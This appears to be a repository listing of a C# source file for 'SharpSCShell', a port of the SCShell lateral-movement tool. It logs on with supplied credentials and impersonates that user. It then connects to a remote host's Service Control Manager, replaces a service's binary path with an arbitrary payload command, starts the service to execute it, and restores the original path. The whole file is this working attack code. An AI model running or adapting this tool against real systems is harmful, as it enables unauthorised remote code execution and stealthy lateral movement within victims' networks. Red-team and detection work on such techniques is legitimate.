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SharpSCShell
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‎.DS_Store

6 KB
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‎SharpSCShell.cs

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using System;
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using System.Collections.Generic;
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using System.Linq;
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using System.Runtime.InteropServices;
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using System.Text;
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namespace SharpSCShell
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{
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class Program
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{
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[DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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internal static extern bool LogonUser(
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[MarshalAs(UnmanagedType.LPStr)] string lpszUsername,
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[MarshalAs(UnmanagedType.LPStr)] string lpszDomain,
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[MarshalAs(UnmanagedType.LPStr)] string lpszPassword,
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int dwLogonType,
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int dwLogonProvider,
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ref IntPtr phToken);
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[DllImport("advapi32.dll", SetLastError = true)]
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static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
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[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
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public static extern IntPtr OpenSCManager(
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string lpMachineName,
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string lpDatabaseName,
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uint dwDesiredAccess);
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[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
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static extern IntPtr OpenService(
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IntPtr hSCManager,
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string lpServiceName,
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uint dwDesiredAccess);
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[DllImport("advapi32.dll",
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SetLastError = true, CharSet = CharSet.Auto)]
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private static extern int QueryServiceConfig(
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IntPtr service,
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IntPtr queryServiceConfig,
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int bufferSize,
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ref int bytesNeeded);
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[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool ChangeServiceConfigA(
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IntPtr hService,
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uint dwServiceType,
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int dwStartType,
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int dwErrorControl,
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string lpBinaryPathName,
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string lpLoadOrderGroup,
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string lpdwTagId,
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string lpDependencies,
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string lpServiceStartName,
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string lpPassword,
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string lpDisplayName);
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[DllImport("advapi32", SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool StartService(
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IntPtr hService,
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int dwNumServiceArgs,
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string[] lpServiceArgVectors
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);
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public enum ACCESS_MASK : uint
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{
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STANDARD_RIGHTS_REQUIRED = 0x000F0000,
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STANDARD_RIGHTS_READ = 0x00020000,
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STANDARD_RIGHTS_WRITE = 0x00020000,
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STANDARD_RIGHTS_EXECUTE = 0x00020000,
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}
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public enum SCM_ACCESS : uint
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{
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SC_MANAGER_CONNECT = 0x00001,
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SC_MANAGER_CREATE_SERVICE = 0x00002,
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SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
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SC_MANAGER_LOCK = 0x00008,
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SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
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SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
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SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
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SC_MANAGER_CONNECT |
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SC_MANAGER_CREATE_SERVICE |
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SC_MANAGER_ENUMERATE_SERVICE |
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SC_MANAGER_LOCK |
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SC_MANAGER_QUERY_LOCK_STATUS |
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SC_MANAGER_MODIFY_BOOT_CONFIG,
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GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
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SC_MANAGER_ENUMERATE_SERVICE |
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SC_MANAGER_QUERY_LOCK_STATUS,
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GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
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SC_MANAGER_CREATE_SERVICE |
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SC_MANAGER_MODIFY_BOOT_CONFIG,
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GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
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SC_MANAGER_CONNECT | SC_MANAGER_LOCK,
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GENERIC_ALL = SC_MANAGER_ALL_ACCESS,
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}
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public enum SERVICE_ACCESS : uint
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{
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STANDARD_RIGHTS_REQUIRED = 0xF0000,
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SERVICE_QUERY_CONFIG = 0x00001,
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SERVICE_CHANGE_CONFIG = 0x00002,
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SERVICE_QUERY_STATUS = 0x00004,
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SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
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SERVICE_START = 0x00010,
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SERVICE_STOP = 0x00020,
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SERVICE_PAUSE_CONTINUE = 0x00040,
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SERVICE_INTERROGATE = 0x00080,
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SERVICE_USER_DEFINED_CONTROL = 0x00100,
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SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
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SERVICE_QUERY_CONFIG |
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SERVICE_CHANGE_CONFIG |
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SERVICE_QUERY_STATUS |
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SERVICE_ENUMERATE_DEPENDENTS |
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SERVICE_START |
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SERVICE_STOP |
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SERVICE_PAUSE_CONTINUE |
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SERVICE_INTERROGATE |
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SERVICE_USER_DEFINED_CONTROL)
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}
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private struct QueryServiceConfigStruct
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{
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public int serviceType;
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public int startType;
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public int errorControl;
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public IntPtr binaryPathName;
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public IntPtr loadOrderGroup;
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public int tagID;
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public IntPtr dependencies;
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public IntPtr startName;
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public IntPtr displayName;
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}
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[DllImport("kernel32.dll")]
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public static extern uint GetLastError();
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[DllImport("kernel32.dll")]
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static extern IntPtr GlobalAlloc(uint uFlags, UIntPtr dwBytes);
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static void Main(string[] args)
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{
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Console.WriteLine();
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Console.WriteLine("=============== SharpSCShell --> Revised at Rcoil (C# version) =============== ");
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Console.WriteLine();
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if (args.Length < 2)
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{
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Console.WriteLine("SharpSCShell.exe target service payload domain username password");
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Environment.Exit(0);
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}
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string target = args[0];
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string ServiceName = args[1];
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string payload = args[2];
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string domain = args[3];
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string username = args[4];
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string password = args[5];
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const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
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const int LOGON32_PROVIDER_DEFAULT = 0;
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const uint SERVICE_NO_CHANGE = 0xffffffff;
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const int SERVICE_DEMAND_START = 0x00000003;
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const int SERVICE_ERROR_IGNORE = 0x00000000;
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IntPtr phToken = IntPtr.Zero;
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int bytesNeeded = 5;
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Console.WriteLine("[*] Trying to connect to {0}", target);
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bool bResult = false;
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if (username != null)
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{
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Console.WriteLine("[*] Username was provided attempting to call LogonUser");
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bResult = LogonUser(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, ref phToken);
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if (!bResult)
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{
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Console.WriteLine("[!] LogonUser failed. Error:{0}", GetLastError());
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Environment.Exit(0);
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}
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}
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bResult = ImpersonateLoggedOnUser(phToken);
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if (!bResult)
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{
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Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", GetLastError());
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Environment.Exit(0);
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}
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IntPtr SCMHandle = OpenSCManager(target, null, (uint)SCM_ACCESS.SC_MANAGER_ALL_ACCESS);
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if (SCMHandle == IntPtr.Zero)
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{
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Console.WriteLine("[!] OpenSCManagerA failed! Error:{0}", GetLastError());
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Environment.Exit(0);
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}
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Console.WriteLine("[*] SC_HANDLE Manager 0x{0}", SCMHandle);
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Console.WriteLine("[*] Opening {0} Service ....", ServiceName);
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IntPtr schService = OpenService(SCMHandle, ServiceName, ((uint)SERVICE_ACCESS.SERVICE_ALL_ACCESS));
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Console.WriteLine("[*] SC_HANDLE Service 0x{0}", schService);
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QueryServiceConfigStruct qscs = new QueryServiceConfigStruct();
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IntPtr qscPtr = Marshal.AllocCoTaskMem(0);
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int retCode = QueryServiceConfig(schService, qscPtr, 0, ref bytesNeeded);
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if (retCode == 0 && bytesNeeded == 0)
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{
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Console.WriteLine("[!] QueryServiceConfig failed to read the service path. Error:{0}", GetLastError());
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}
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else
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{
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Console.WriteLine("[*] LPQUERY_SERVICE_CONFIGA need {0} bytes", bytesNeeded);
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qscPtr = Marshal.AllocCoTaskMem(bytesNeeded);
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retCode = QueryServiceConfig(schService, qscPtr, bytesNeeded, ref bytesNeeded);
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qscs.binaryPathName = IntPtr.Zero;
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qscs = (QueryServiceConfigStruct)Marshal.PtrToStructure(qscPtr, new QueryServiceConfigStruct().GetType());
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}
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string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName);
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Console.WriteLine("[*] Original service binary path \"{0}\"", originalBinaryPath);
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Marshal.FreeCoTaskMem(qscPtr);
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bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, null, null, null, null, null, null);
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if (!bResult)
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{
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Console.WriteLine("[!] ChangeServiceConfigA failed to update the service path. Error:{0}", GetLastError());
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Environment.Exit(0);
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}
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Console.WriteLine("[*] Service path was changed to \"{0}\"", payload);
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bResult = StartService(schService, 0, null);
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uint dwResult = GetLastError();
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if (!bResult && dwResult != 1053)
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{
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Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError());
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Environment.Exit(0);
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}
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else
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{
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Console.WriteLine("[*] Service was started");
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}
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bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, null, null, null, null, null, null);
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if (!bResult)
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{
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Console.WriteLine("[!] ChangeServiceConfigA failed to revert the service path. Error:{0}", GetLastError());
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Environment.Exit(0);
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}
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else
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{
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Console.WriteLine("[*] Service path was restored to \"{0}\"", originalBinaryPath);
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}
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}
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}
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}

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